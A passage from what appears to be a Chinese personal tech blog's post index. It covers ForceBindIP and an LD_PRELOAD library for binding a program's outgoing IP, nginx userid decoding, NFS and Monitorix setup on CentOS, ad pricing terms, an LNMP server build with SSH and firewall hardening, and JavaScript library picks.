verifies which interface they will be bound to and if not the one specified, (re)binds the socket. Once the function intercepts are complete, the target application is resumed. Note that some applications with anti-debugger / injection techniques may not work correctly when an injected DLL is present; for the vast majority of applications though this technique should work fine.\n作者声明支持的系统版本有：Windows NT/2000/XP/2003.\n作者测试过可用的软件： DC++, uTorrent, Quake II, Quake III, Diablo II, StarCraft, Internet Explorer, Mozilla Firefox, Google Earth, Infantry, Real Player, Unreal Tournament 2004 (requires -i), Outlook 2000 (requires -i).\n不可用的软件： GetRight (anti-debugger / forking techniques), WinCVS (forks cvs.exe)\n博主测试过在Windows7上无法正常工作。搜狗浏览器也不知道是什么原因没有效果。\n使用方法：\nForceBindIP 1.2.3.4 c:fullpathtoapp.exe 还可以通过网卡GUID进行绑定，GUID可以从注册表中找到[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParametersInterfaces]\nForceBindIP {4FA65F75-7A5F-4BCA-A3A2-59824B2F5CA0} c:pathtoapp.exe 如果遇到程序崩溃或者什么意外情况可以尝试-i参数，这会让ForceBindIP等待目标程序进入它的消息循环后再注入DLL。\nForceBindIP -i 1.2.3.4 c:fullpathtoapp.exe bind.c\n/* Copyright (C) 2000 Daniel Ryde This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. */ /* LD_PRELOAD library to make bind and connect to use a virtual IP address as localaddress. Specified via the enviroment variable BIND_ADDR. Compile on Linux with: gcc -nostartfiles -fpic -shared bind.c -o bind.so -ldl -D_GNU_SOURCE Example in bash to make inetd only listen to the localhost lo interface, thus disabling remote connections and only enable to/from localhost: BIND_ADDR=\"127.0.0.1\" LD_PRELOAD=./bind.so /sbin/inetd Example in bash to use your virtual IP as your outgoing sourceaddress for ircII: BIND_ADDR=\"your-virt-ip\" LD_PRELOAD=./bind.so ircII Note that you have to set up your servers virtual IP first. This program was made by Daniel Ryde email: daniel@ryde.net web: http://www.ryde.net/ TODO: I would like to extend it to the accept calls too, like a general tcp-wrapper. Also like an junkbuster for web-banners. For libc5 you need to replace socklen_t with int. */ #include \u0026lt;stdio.h\u003e #include \u0026lt;stdlib.h\u003e #include \u0026lt;sys/types.h\u003e #include \u0026lt;sys/socket.h\u003e #include \u0026lt;netinet/in.h\u003e #include \u0026lt;dlfcn.h\u003e #include \u0026lt;errno.h\u003e int (*real_bind)(int, const struct sockaddr *, socklen_t); int (*real_connect)(int, const struct sockaddr *, socklen_t); char *bind_addr_env; unsigned long int bind_addr_saddr; unsigned long int inaddr_any_saddr; struct sockaddr_in local_sockaddr_in[] = { 0 }; void _init (void) { const char *err; real_bind = dlsym (RTLD_NEXT, \"bind\"); if ((err = dlerror ()) != NULL) { fprintf (stderr, \"dlsym (bind): %sn\", err); } real_connect = dlsym (RTLD_NEXT, \"connect\"); if ((err = dlerror ()) != NULL) { fprintf (stderr, \"dlsym (connect): %sn\", err); } inaddr_any_saddr = htonl (INADDR_ANY); if (bind_addr_env = getenv (\"BIND_ADDR\")) { bind_addr_saddr = inet_addr (bind_addr_env); local_sockaddr_in-\u003esin_family = AF_INET; local_sockaddr_in-\u003esin_addr.s_addr = bind_addr_saddr; local_sockaddr_in-\u003esin_port = htons (0); } } int bind (int fd, const struct sockaddr *sk, socklen_t sl) { static struct sockaddr_in *lsk_in; lsk_in = (struct sockaddr_in *)sk; /*\tprintf(\"bind: %d %s:%dn\", fd, inet_ntoa (lsk_in-\u003esin_addr.s_addr), ntohs (lsk_in-\u003esin_port));*/ if ((lsk_in-\u003esin_family == AF_INET) \u0026amp;\u0026amp; (lsk_in-\u003esin_addr.s_addr == inaddr_any_saddr) \u0026amp;\u0026amp; (bind_addr_env)) { lsk_in-\u003esin_addr.s_addr = bind_addr_saddr; } return real_bind (fd, sk, sl); } int connect (int fd, const struct sockaddr *sk, socklen_t sl) { static struct sockaddr_in *rsk_in; rsk_in = (struct sockaddr_in *)sk; /*\tprintf(\"connect: %d %s:%dn\", fd, inet_ntoa (rsk_in-\u003esin_addr.s_addr), ntohs (rsk_in-\u003esin_port));*/ if ((rsk_in-\u003esin_family == AF_INET) \u0026amp;\u0026amp; (bind_addr_env)) { real_bind (fd, (struct sockaddr *)local_sockaddr_in, sizeof (struct sockaddr)); } return real_connect (fd, sk, sl); } ","permalink":"https://hessian.cn/p/1378.html","summary":"Windows/Unix* 系统都支持为一个网卡绑定多个IP地址，但是通常操作系统会根据路由表自动选择IP地址，应用程序使用哪个IP地址用户无法主动控制。本文分别讲解在Linux和Windows下为应用程序绑定指定IP地址的方法。\n","title":"在Windows/Linux下让程序指定出口IP地址"},{"content":"生成userid的代码在 http/modules/ngx_http_userid_filter_module.c 大概550行左右。\nuid_set 是4个uint32构成的，其中比较有用的是第二个unit32，是userid的生成时间。第四个是一个递增值 以 0x03030302 为初始值，每次递增0x100。\ndefault: /* AF_INET */\rsin = (struct sockaddr_in *) c-\u0026gt;local_sockaddr;\rctx-\u0026gt;uid_set[0] = sin-\u0026gt;sin_addr.s_addr;\rbreak;\r}\r} else {\rctx-\u0026gt;uid_set[0] = htonl(conf-\u0026gt;service);\r}\rctx-\u0026gt;uid_set[1] = htonl((uint32_t) ngx_time());\rctx-\u0026gt;uid_set[2] = htonl(start_value);\rctx-\u0026gt;uid_set[3] = htonl(sequencer_v2);\rsequencer_v2 += 0x100;\rif (sequencer_v2 \u0026lt; 0x03030302) {\rsequencer_v2 = 0x03030302;\r} // 用PHP解码nginx userid\r$str = $_REQUEST[\"uid\"] ?: $_COOKIE['uid'];\rfunction nginx_userid_decode($str)\r{\rreturn unpack('N*', base64_decode(str_replace(' ', '+', $str)));\r}\r$hash = nginx_userid_decode($str);\rvar_dump($hash);\rdate_default_timezone_set(\"UTC\");\rvar_dump(date(\"Y-m-d H:i:s\", $hash[2])); 参考文章：\nhttp://www.lsproc.com/blog/nginx_userid_decode/\n","permalink":"https://hessian.cn/p/1362.html","summary":"生成userid的代码在 http/modules/ngx_http_userid_filter_module.c 大概550行左右。\nuid_set 是4个uint32构成的，其中比较有用的是第二个unit32，是userid的生成时间。第四个是一个递增值 以 0x03030302 为初始值，每次递增0x100。\n","title":"NGINX userid 分析、解码"},{"content":"yum install nfs nfs-utils rpcbind\rservice rpcbind start\rchckonfig rpcbind on\rcat \"/shared_dir 192.168.1.200(rw,async,all_squash,anonuid=500,anongid=500)\" \u0026gt; /etc/exports 參數 參數功能 預設參數 fg\nbg 當執行掛載時，該掛載的行為會在前景 (fg) 還是在背景 (bg) 執行？ 若在前景執行時，則 mount 會持續嘗試掛載，直到成功或 time out 為止，若為背景執行， 則 mount 會在背景持續多次進行 mount ，而不會影響到前景的程序操作。 如果你的網路連線有點不穩定，或是伺服器常常需要開關機，那建議使用 bg 比較妥當。 fg soft\nhard 如果是 hard 的情況，則當兩者之間有任何一部主機離線，則 RPC 會持續的呼叫，直到對方恢復連線為止。如果是 soft 的話，那 RPC 會在 time out 後『重複』呼叫，而非『持續』呼叫， 因此系統的延遲會比較不這麼明顯。同上，如果你的伺服器可能開開關關，建議用 soft 喔！ hard intr 當你使用上頭提到的 hard 方式掛載時，若加上 intr 這個參數， 則當 RPC 持續呼叫中，該次的呼叫是可以被中斷的 (interrupted)。 沒有 rsize\nwsize 讀出(rsize)與寫入(wsize)的區塊大小 (block size)。 這個設定值可以影響用戶端與伺服器端傳輸資料的緩衝記憶容量。一般來說， 如果在區域網路內 (LAN) ，並且用戶端與伺服器端都具有足夠的記憶體，那這個值可以設定大一點， 比如說 32768 (bytes) 等，提升緩衝記憶區塊將可提升 NFS 檔案系統的傳輸能力！ 但要注意設定的值也不要太大，最好是達到網路能夠傳輸的最大值為限。 rsize=1024\nwsize=1024 mount -t nfs -o bg,soft,rsize=32768,wsize=32768 192.168.1.100:/shared_dir /mount_point Mac系统下挂载NFS有一点特别，需要加几个参数\n不加resvport在mac下会挂载不了，不加nolockd的话给文件加锁的时候会提示nfs server lockd not responding\nmount -t nfs -o resvport,rw,nolockd 192.168.1.100:/www /www ","permalink":"https://hessian.cn/p/1360.html","summary":"yum install nfs nfs-utils rpcbind\rservice rpcbind start\rchckonfig rpcbind on\rcat \"/shared_dir 192.168.1.200(rw,async,all_squash,anonuid=500,anongid=500)\" \u0026gt; /etc/exports 參數 參數功能 預設參數 fg\nbg 當執行掛載時，該掛載的行為會在前景 (fg) 還是在背景 (bg) 執行？ 若在前景執行時，則 mount 會持續嘗試掛載，直到成功或 time out 為止，若為背景執行， 則 mount 會在背景持續多次進行 mount ，而不會影響到前景的程序操作。 如果你的網路連線有點不穩定，或是伺服器常常需要開關機，那建議使用 bg 比較妥當。 fg soft\nhard 如果是 hard 的情況，則當兩者之間有任何一部主機離線，則 RPC 會持續的呼叫，直到對方恢復連線為止。如果是 soft 的話，那 RPC 會在 time out 後『重複』呼叫，而非『持續』呼叫， 因此系統的延遲會比較不這麼明顯。同上，如果你的伺服器可能開開關關，建議用 soft 喔！ hard intr 當你使用上頭提到的 hard 方式掛載時，若加上 intr 這個參數， 則當 RPC 持續呼叫中，該次的呼叫是可以被中斷的 (interrupted)。 沒有 rsize\nwsize 讀出(rsize)與寫入(wsize)的區塊大小 (block size)。 這個設定值可以影響用戶端與伺服器端傳輸資料的緩衝記憶容量。一般來說， 如果在區域網路內 (LAN) ，並且用戶端與伺服器端都具有足夠的記憶體，那這個值可以設定大一點， 比如說 32768 (bytes) 等，提升緩衝記憶區塊將可提升 NFS 檔案系統的傳輸能力！ 但要注意設定的值也不要太大，最好是達到網路能夠傳輸的最大值為限。 rsize=1024\nwsize=1024 mount -t nfs -o bg,soft,rsize=32768,wsize=32768 192.168.1.100:/shared_dir /mount_point Mac系统下挂载NFS有一点特别，需要加几个参数\n不加resvport在mac下会挂载不了，不加nolockd的话给文件加锁的时候会提示nfs server lockd not responding\n","title":"CentOS Linux 6 NFS 配置"},{"content":"Monitorix 是一个开源的、轻量的 Linux/Unix 服务器监控工具。安装配置简单，图表功能丰富。\n官方网站：http://www.monitorix.org\n安装方法：\n# perl-HTTP-Server-Simple 需要从EPEL安装\rrpm -ivh http://mirrors.yun-idc.com/epel/6/x86_64/epel-release-6-8.noarch.rpm\r# 安装依赖\ryum install rrdtool rrdtool-perl perl-libwww-perl perl-MailTools perl-MIME-Lite perl-CGI perl-DBI perl-XML-Simple perl-Config-General perl-HTTP-Server-Simple\r# 安装Monitorix\ryum install monitorix\r# 启动服务\rservice monitorix start 博主最近要监控一台线上服务器，用cacti又嫌太麻烦，在看了《比cacti更好的linux单机监控——Monitorix的安装与配置》 之后决定采用Monitorix。\n在使用的过程中博主发现一个问题，当刷新报表页面的时候会有一个进程 netstat -nl \u0026#8211;tcp 消耗掉大量的CPU，而且报表页面载入非常的慢。根据分析 Network port traffic (port.rrd)，和 Nginx statistics (nginx.rrd) 两个脚本都会执行这个命令，而且不止一次。通过google搜索，我找到了解决方案——采用ss替代netstat命令。\n修改方法：\n在/usr/lib/monitorix 下面找到nginx.pm和port.pm，修改其中执行netstat 命令的部分替换为ss即可。\n关于ss的介绍在这里：《篡权的ss》\n如果需要监控温度、电压情况需要安装lm_sensors，可以通过yum安装。安装lm_sensors之后还要运行sensors-detect来检测生成/etc/sysconfig/lm_sensors文件。\n","permalink":"https://hessian.cn/p/1348.html","summary":"Monitorix 是一个开源的、轻量的 Linux/Unix 服务器监控工具。安装配置简单，图表功能丰富。\n官方网站：http://www.monitorix.org\n安装方法：\n# perl-HTTP-Server-Simple 需要从EPEL安装\rrpm -ivh http://mirrors.yun-idc.com/epel/6/x86_64/epel-release-6-8.noarch.rpm\r# 安装依赖\ryum install rrdtool rrdtool-perl perl-libwww-perl perl-MailTools perl-MIME-Lite perl-CGI perl-DBI perl-XML-Simple perl-Config-General perl-HTTP-Server-Simple\r# 安装Monitorix\ryum install monitorix\r# 启动服务\rservice monitorix start 博主最近要监控一台线上服务器，用cacti又嫌太麻烦，在看了《比cacti更好的linux单机监控——Monitorix的安装与配置》 之后决定采用Monitorix。\n","title":"强大的 轻量级 Linux服务器监控系统 Monitorix"},{"content":"最近在做的一个项目需要调用JS文件对网页内容进行修改，老是用Firefox复制粘贴特别麻烦，于是乎就顺手写了个小扩展SimpleScriptLoader。这个小东西可以手动或者自动的加载指定的JS文件，非常简单易用。\n支持在任何网页打开时加载指定的脚本文件，还可以设置自动加载，在选项面板中能设置允许自动加载的URL地址。\n开源协议：GPL v3\n代码托管在GitHub：https://github.com/HessianZ/simple-script-loader\n0.1版已经发布到了Firefox扩展中心：https://addons.mozilla.org/zh-CN/firefox/addon/simple-script-loader/\n","permalink":"https://hessian.cn/p/1333.html","summary":"最近在做的一个项目需要调用JS文件对网页内容进行修改，老是用Firefox复制粘贴特别麻烦，于是乎就顺手写了个小扩展SimpleScriptLoader。这个小东西可以手动或者自动的加载指定的JS文件，非常简单易用。\n","title":"SimpleScriptLoader for Firefox 一个简单的脚本加载工具"},{"content":"1.CPM(Cost Per Mille，或者Cost Per Thousand;Cost Per Impressions) 每千人成本 网上广告收费最科学的办法是按照有多少人看到你的广告来收费。按访问人次收费已经成为网络广告的惯例。CPM(千人成本)指的是广告投放过程中，听到或者看到某广告的每一人平均分担到多少广告成本。传统媒介多采用这种计价方式。在网上广告，CPM取决于“印象”尺度，通常理解为一个人的眼睛在一段固定的时间内注视一个广告的次数。比如说一个广告 横幅的单价是1元/CPM的话，意味着每一千个人次看到这个Ban-ner的话就收1元，如此类推 ，10，000人次访问的主页就是10元。? 至于每CPM的收费究竟是多少，要根据以主页的热门程度(即浏览人数)划分价格等级，采 取固定费率。国际惯例是每CPM收费从5美元至200美元不等。 2.CPC(Cost Per Click;Cost Per Thousand Click-Through) 每点击成本 以每点击一次计费。这样的方法加上点击率限制可以〖WX)〗加强作弊的难度，而且是宣传网站站点的最优方式。但是，此类方法就有不少经营广告的网站觉得不公平，比如，虽然浏览者没有点击，但是他已经看到了广告，对于这些看到广告却没有点击的流量来说，网站成 了白忙活。有很多网站不愿意做这样的广告，据说，是因为传统媒体从来都没有这样干过。 3.CPA(Cost Per Action) 每行动成本? CPA计价方式是指按广告投放实际效果，即按回应的有效问卷或定单来计费，而不限广告投 放量。CPA的计价方式对于网站而言有一定的风险，但若广告投放成功，其收益也比CPM的计 价方式要大得多。 ? 广告主为规避广告费用风险，只有当网络用户点击旗帜广告，链接广告主网页后，才按点击 次数付给广告站点费用。 ","permalink":"https://hessian.cn/p/1328.html","summary":"1.CPM(Cost Per Mille，或者Cost Per Thousand;Cost Per Impressions) 每千人成本 网上广告收费最科学的办法是按照有多少人看到你的广告来收费。按访问人次收费已经成为网络广告的惯例。CPM(千人成本)指的是广告投放过程中，听到或者看到某广告的每一人平均分担到多少广告成本。传统媒介多采用这种计价方式。在网上广告，CPM取决于“印象”尺度，通常理解为一个人的眼睛在一段固定的时间内注视一个广告的次数。比如说一个广告 横幅的单价是1元/CPM的话，意味着每一千个人次看到这个Ban-ner的话就收1元，如此类推 ，10，000人次访问的主页就是10元。? 至于每CPM的收费究竟是多少，要根据以主页的热门程度(即浏览人数)划分价格等级，采 取固定费率。国际惯例是每CPM收费从5美元至200美元不等。 2.CPC(Cost Per Click;Cost Per Thousand Click-Through) 每点击成本 以每点击一次计费。这样的方法加上点击率限制可以〖WX)〗加强作弊的难度，而且是宣传网站站点的最优方式。但是，此类方法就有不少经营广告的网站觉得不公平，比如，虽然浏览者没有点击，但是他已经看到了广告，对于这些看到广告却没有点击的流量来说，网站成 了白忙活。有很多网站不愿意做这样的广告，据说，是因为传统媒体从来都没有这样干过。 3.CPA(Cost Per Action) 每行动成本? CPA计价方式是指按广告投放实际效果，即按回应的有效问卷或定单来计费，而不限广告投 放量。CPA的计价方式对于网站而言有一定的风险，但若广告投放成功，其收益也比CPM的计 价方式要大得多。 ? 广告主为规避广告费用风险，只有当网络用户点击旗帜广告，链接广告主网页后，才按点击 次数付给广告站点费用。","title":"广告术语 CPM、CPC、CPA 是什么意思？"},{"content":"我选的是1GB的套餐，每个月$20，年付减10%，实付$230.21折合人民币1400多点。\nLinode 1GB\n操作系统： CentOS Linux 6.2 64bit\n运行环境： Nginx+PHP+MySQL\n准备工作\n编译环境部署：\n在服务器上启用编译环境是非常危险的做法，为了保证安全我专门用一个虚拟机来做编译工作，编译完成后再将程序部署至服务器即可。\n根据VPS操作系统情况下载安装CentOS 6.2 64bit， 因为只是做编译机，所以只要装 Minimal 版就可以了，几百M，下载也很快。\n历史版本的ISO文件可以在 http://vault.centos.org 找到。\nMinimal版本安装好后不会自动启动网络，需要执行以下操作：\n运行命令\ndhclient -v eth0 修改文件 /etc/sysconfig/network-scripts/ifcfg-eth0\n在文件最后添加一行\nBOOTPROTO=\u0026#8221;dhcp\u0026#8221;\n再把ONBOOT=\u0026#8221;no\u0026#8221;改成ONBOOT=\u0026#8221;yes\u0026#8221;\n这样以后启动都自动连接网络了。\n用root登陆后在/root目录建立packages、build两个目录，分别用于放置安装包和解压后的程序目录。\n# 安装\nyum install gcc make\rcd\rmkdir packages build 创建用户\ngroupadd -g 500 www \u0026amp;\u0026amp; useradd -g 500 -m -u 500 www\rgroupadd -g 501 Hessian \u0026amp;\u0026amp; useradd -g 501 -m -u 501 Hessian\rgroupadd -g 27 mysql \u0026amp;\u0026amp; useradd -d /www/database -M -g 27 -u 27 mysql 环境变量\n修改文件/etc/profile，将下面的内容加到文件末尾\nPATH=$PATH:/opt/mysql/bin\rPATH=$PATH:/opt/php/bin\rPATH=$PATH:/opt/nginx/sbin 添加完成后执行： . /etc/profile\n（中间的空格可别漏）\n\u0026nbsp;\nNginx\n下载地址：http://nginx.org/en/download.html\n1. 下载\ncd ~/packages\rwget http://nginx.org/download/nginx-1.4.1.tar.gz 2. 解压\ncd ~/build\rtar -zxf ~/packages/nginx-1.4.1.tar.gz 3. 解决依赖\nyum install pcre-devel\ryum install zlib-devel 3. 编译\ncd nginx-1.4.1\r./configure --prefix=/opt/nginx-1.4.1 --with-pcre --with-openssl=/usr\rmake -j 2 \u0026amp;\u0026amp; make install \u0026nbsp;\nMySQL\n下载地址：http://dev.mysql.com/downloads/mysql\n这里我选择的是Binary包\nLinux \u0026#8211; Generic (glibc 2.5) (x86, 64-bit), Compressed TAR Archive\nmysql-5.6.11-linux-glibc2.5-x86_64.tar.gz\n下载之后解压缩即可使用\n\u0026nbsp;\nPHP\n虽然YUM有提供PHP，但是出于性能方面和个人需要的考虑我还是选择自己编译。\nPHP版本我用的是5.3 主要是不知道5.4会不会带来什么兼容性问题。\n下载地址：http://cn2.php.net/get/php-5.3.24.tar.bz2/from/a/mirror\n1. 下载\ncd ~/packages\rwget http://cn2.php.net/get/php-5.3.24.tar.bz2/from/this/mirror 2. 解压\ncd ~/build\rtar -zjf ~/packages/php-5.3.24.tar.gz 3. 解决依赖\nyum install libxml2-devel\ryum install libcurl-devel\ryum install libjpeg-devel\ryum install libpng-devel\ryum install freetype-devel\ryum install autoconf libmcrypt 在yum里没有，可以从EPEL里下载\nEPEL（Extra Packages for Enterprise Linux）是Fedora社区打造的为 RHEL 及衍生发行版如 CentOS、Scientific Linux 等提供高质量软件包的项目。\n安装\nrpm -ivh http://dl.fedoraproject.org/pub/epel/6/x86_64/libmcrypt-2.5.8-9.el6.x86_64.rpm\rrpm -ivh http://dl.fedoraproject.org/pub/epel/6/x86_64/libmcrypt-devel-2.5.8-9.el6.x86_64.rpm 3. 编译\ncd php-5.3.24\r./configure --prefix=/opt/php-5.3.24 \\\r--with-config-file-path=/opt/php \\\r--with-mysql=mysqlnd \\\r--with-mysql-sock=/tmp/mysql.sock \\\r--with-iconv-dir=/usr \\\r--enable-xml \\\r--with-libxml-dir \\\r--disable-rpath \\\r--enable-safe-mode \\\r--enable-inline-optimization \\\r--with-curl \\\r--enable-mbregex \\\r--with-gd \\\r--enable-zip \\\r--enable-sockets \\\r--enable-mbstring=all \\\r--with-mcrypt \\\r--enable-gd-native-ttf \\\r--with-freetype-dir=/usr \\\r--with-jpeg-dir=/usr \\\r--with-png-dir=/usr\\\r--with-pdo-mysql=mysqlnd \\\r--without-pdo-sqlite \\\r--enable-fpm \\\r--enable-cli\rmake -j2\rmake install 4. 编译扩展\n后续步骤\ncd /opt\rln -s mysql-5.6.11-linux-glibc2.5-x86_64 mysql\rln -s nginx-1.4.1 nginx\rln -s php-5.3.24 php\rtar -czf servers.tar.gz * 将配置文件、启动脚本以及servers.tar.gz 上传到服务器，解压到/opt，放置好配置文件和启动脚本。\nVPS 安装步骤\n解决依赖\nrpm -ivh http://dl.fedoraproject.org/pub/epel/6/x86_64/libmcrypt-2.5.8-9.el6.x86_64.rpm\ryum install libpng libjpeg freetype\ryum install svn 创建用户\ngroupadd -g 500 www \u0026amp;\u0026amp; useradd -g 500 -m -u 500 www\rgroupadd -g 501 Hessian \u0026amp;\u0026amp; useradd -g 501 -m -u 501 Hessian\rgroupadd -g 27 mysql \u0026amp;\u0026amp; useradd -d /www/database -M -g 27 -u 27 mysql 上传并解压\n将servers.tar.gz、配置文件、启动脚本放到服务器\ntar -zxf servers.tar.gz -C /opt\rtar -zxf init-scripts.tar.gz -C /etc/init.d 添加服务\nchkconfig --add nginx\rchkconfig --add mysql\rchkconfig --add php-fpm 建立资源目录\nmkdir /www\rmkdir /www/database\rmkdir /www/logs\rmkdir /www/svn-repos 调整目录权限\nchown www:www -R /www\rchown mysql:mysql -R /www/database 环境变量\n修改文件/etc/profile，将下面的内容加到文件末尾\nPATH=$PATH:/opt/mysql/bin\rPATH=$PATH:/opt/php/bin\rPATH=$PATH:/opt/nginx/sbin 添加完成后执行： . /etc/profile\n（中间的空格可别漏）\n\u0026nbsp;\n安全设置\nSSH设置：\n修改/etc/ssh/sshd_config\n1. 禁用root登陆：PermitRootLogin no\n2. 禁用密码登陆：PasswordAuthentication no\n3. 启用密钥登陆：\nRSAAuthentication yes\rPubkeyAuthentication yes\rAuthorizedKeysFile .ssh/authorized_keys 将公钥加入到服务器上 .ssh/authorized_keys中，生成密钥及具体设置方法参考：\nhttp://stevenz.blog.hexun.com/15798089_d.html\n在客户端可以通过下面的命令直接将公钥添加到服务器上：\ncat ~/.ssh/id_rsa.pub | ssh zhaoy@192.168.1.1 \"cat - \u0026gt;\u0026gt; ~/.ssh/authorized_keys\" 执行完成后重启sshd\nservice sshd restart 如果无法登陆可以查看安全日志 /var/log/secure 确定问题原因。\n\u0026nbsp;\n防火墙设置：\n创建文件/etc/sysconfig/iptables，加入以下内容\n*filter\r:INPUT ACCEPT [0:0]\r:FORWARD ACCEPT [0:0]\r:OUTPUT ACCEPT [0:0]\r-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\r-A INPUT -p icmp -j ACCEPT\r-A INPUT -i lo -j ACCEPT\r-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT\r-A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT\r-A INPUT -m state --state NEW -m tcp -p tcp --dport 3690 -j ACCEPT\r-A INPUT -j REJECT --reject-with icmp-host-prohibited\r-A FORWARD -j REJECT --reject-with icmp-host-prohibited\rCOMMIT \u0026nbsp;\n这里只开放了22、80、3690三个有限的端口，如果有其他需要再自己参考添加就行。\n","permalink":"https://hessian.cn/p/1273.html","summary":"我选的是1GB的套餐，每个月$20，年付减10%，实付$230.21折合人民币1400多点。\nLinode 1GB\n操作系统： CentOS Linux 6.2 64bit\n运行环境： Nginx+PHP+MySQL\n","title":"Linode LNMP服务器环境配置笔记"},{"content":"Another logo design\n总感觉味道不太对 总是没现在这个好\n","permalink":"https://hessian.cn/p/1271.html","summary":"Another logo design\n","title":"Another logo design"},{"content":"Mantis用了蛮久，我一直觉得太难看了，整个一副工控产品的模样，让我十分不爽。大名鼎鼎的Bugzilla也没好到哪去，而且安装起来又麻烦得要死，所以我专门去找了找漂亮的BugTracker。最后发现了The Bug Genie \u0026#8212; Beautiful issue tracking。瞧瞧人家这口号，哈哈，看看截图还真不错。可惜看了看语言包，没有中文啊，这玩意要我自己用也就算了，可还得给客户用啊。这么漂亮的界面，不用还真舍不得，于是乎只好自己动手翻译了。。。\n官方网站：http://www.thebuggenie.com/\n在Google上搜索了一下，发现它正好在Transifex上有开项目，于是乎我就报名参与了，各位朋友有兴趣有时间的也一起来参与吧。\n项目地址：https://www.transifex.com/projects/p/tbg/language/zh_CN/\n目前翻译进度大概是30%左右，基本上已经可以使用了，当然其中还有不少错误。。。\n（这个我犯了一个错误，把本地文件直接覆盖到Transifex上了，导致现在在Transifex上显示的翻译进度一直是100%。。。其实很多是英文原句。。。真是罪过）\nThe Bug Genie snapshot\n\u0026nbsp;\n","permalink":"https://hessian.cn/p/1255.html","summary":"Mantis用了蛮久，我一直觉得太难看了，整个一副工控产品的模样，让我十分不爽。大名鼎鼎的Bugzilla也没好到哪去，而且安装起来又麻烦得要死，所以我专门去找了找漂亮的BugTracker。最后发现了The Bug Genie \u0026#8212; Beautiful issue tracking。瞧瞧人家这口号，哈哈，看看截图还真不错。可惜看了看语言包，没有中文啊，这玩意要我自己用也就算了，可还得给客户用啊。这么漂亮的界面，不用还真舍不得，于是乎只好自己动手翻译了。。。\n","title":"最近正在参与翻译TheBugGenie"},{"content":" 2012 国庆，从北京望京出发，途经香河、宝坻，最终抵达唐山乐亭。\n美利达 勇士560 ","permalink":"https://hessian.cn/p/1239.html","summary":" 2012 国庆，从北京望京出发，途经香河、宝坻，最终抵达唐山乐亭。\n","title":"2012 国庆骑行 北京-唐山"},{"content":"本来用的国内的某VPS，各方面也都不错，就是价格有点略贵（谁让我最近穷呢），跟Linode差不多的配置，价格还要贵上不少。\n性能方面具体测试下来，网络速度也差不多，Linode我用的是日本的节点，速度还是可以的，相比原来的VPS也差不多，感觉还是很值。\ncpu什么的性能我到是没测试，测试了一下磁盘性能，linode的大概是90+M，原来那个是45M左右，据说阿里云的只有1.5M。。。这让我觉得很幸福。\n用国外的服务器其实有一个好处，就是像我这样用Wordpress的用在线安装、在线升级什么的时候基本不用担心超时了，老外对老外速度还是很给力的。。。\n\u0026nbsp;\n","permalink":"https://hessian.cn/p/1091.html","summary":"本来用的国内的某VPS，各方面也都不错，就是价格有点略贵（谁让我最近穷呢），跟Linode差不多的配置，价格还要贵上不少。\n性能方面具体测试下来，网络速度也差不多，Linode我用的是日本的节点，速度还是可以的，相比原来的VPS也差不多，感觉还是很值。\n","title":"VPS换了Linode"},{"content":"图片轮播 SlideJS SlidesJS is a responsive slideshow plug-in for jQuery (1.7.1+) with features like touch and CSS3 transitions. Give it a try above and check out the examples to help you get started adding SlidesJS to your project.\n官方地址： http://www.slidesjs.com/\n\u0026nbsp;\n图片滚动（Marquee） jCarousel jCarousel是一款 jQuery 插件， 用来控制水平或垂直排列的列表项. 这些项目（可以是静态HTML内容或是Ajax加载内容）内容是可以来回滚动的（可以有动画效果）。\n官方地址： http://sorgalla.com/jcarousel/\n中文文档：http://www.zhangxinxu.com/jq/jcarousel_zh/\n\u0026nbsp;\n图像放大 Etalage A ready to use jQuery image zooming plugin to present your images in the highest detail without leaving the page.\n官方地址：http://frique.me/etalage/\n\u0026nbsp;\n简单粗暴的在线编辑器 KindEditor KindEditor 是一套开源的在线HTML编辑器，主要用于让用户在网站上获得所见即所得编辑效果，开发人员可以用 KindEditor 把传统的多行文本输入框(textarea)替换为可视化的富文本输入框。\n官方地址：http://www.kindsoft.net\n\u0026nbsp;\n树状列表 zTree zTree 是一个依靠 jQuery 实现的多功能 “树插件”。优异的性能、灵活的配置、多种功能的组合是 zTree 最大优点。\n官方地址：http://www.ztree.me/v3/main.php\n\u0026nbsp;\n数据报表 Google Chart Google chart tools are powerful, simple to use, and free. Try out our rich gallery of interactive charts and data tools.\n官方地址：https://developers.google.com/chart/?hl=zh-CN\n","permalink":"https://hessian.cn/p/1083.html","summary":"图片轮播 SlideJS SlidesJS is a responsive slideshow plug-in for jQuery (1.7.1+) with features like touch and CSS3 transitions. Give it a try above and check out the examples to help you get started adding SlidesJS to your project.\n官方地址： http://www.slidesjs.com/\n\u0026nbsp;\n图片滚动（Marquee） jCarousel jCarousel是一款 jQuery 插件， 用来控制水平或垂直排列的列表项. 这些项目（可以是静态HTML内容或是Ajax加载内容）内容是可以来回滚动的（可以有动画效果）。\n","title":"一些网站开发中常用到的Javascript项目"},{"content":"转自：http://keegan-lee.diandian.com/post/2012-12-06/40047548955\n\u0026nbsp;\n如果每次加载同一张图片都要从网络获取，那代价实在太大了。所以同一张图片只要从网络获取一次就够了，然后在本地缓存起来，之后加载同一张图片时就从缓存中加载就可以了。从内存缓存读取图片是最快的，但是因为内存容量有限，所以最好再加上文件缓存。文件缓存空间也不是无限大的，容量越大读取效率越低，因此可以设置一个限定大小比如10M，或者限定保存时间比如一天。\n因此，加载图片的流程应该是：\n1、先从内存缓存中获取，取到则返回，取不到则进行下一步；\n2、从文件缓存中获取，取到则返回并更新到内存缓存，取不到则进行下一步；\n3、从网络下载图片，并更新到内存缓存和文件缓存。\n\u0026nbsp;\n接下来看内存缓存类：ImageMemoryCache\npublic class ImageMemoryCache {\r/**\r* 从内存读取数据速度是最快的，为了更大限度使用内存，这里使用了两层缓存。\r* 硬引用缓存不会轻易被回收，用来保存常用数据，不常用的转入软引用缓存。\r*/\rprivate static final int SOFT_CACHE_SIZE = 15; //软引用缓存容量\rprivate static LruCache\u0026lt;String, Bitmap\u0026gt; mLruCache; //硬引用缓存\rprivate static LinkedHashMap\u0026lt;String, SoftReference\u0026gt; mSoftCache; //软引用缓存\rpublic ImageMemoryCache(Context context) {\rint memClass = 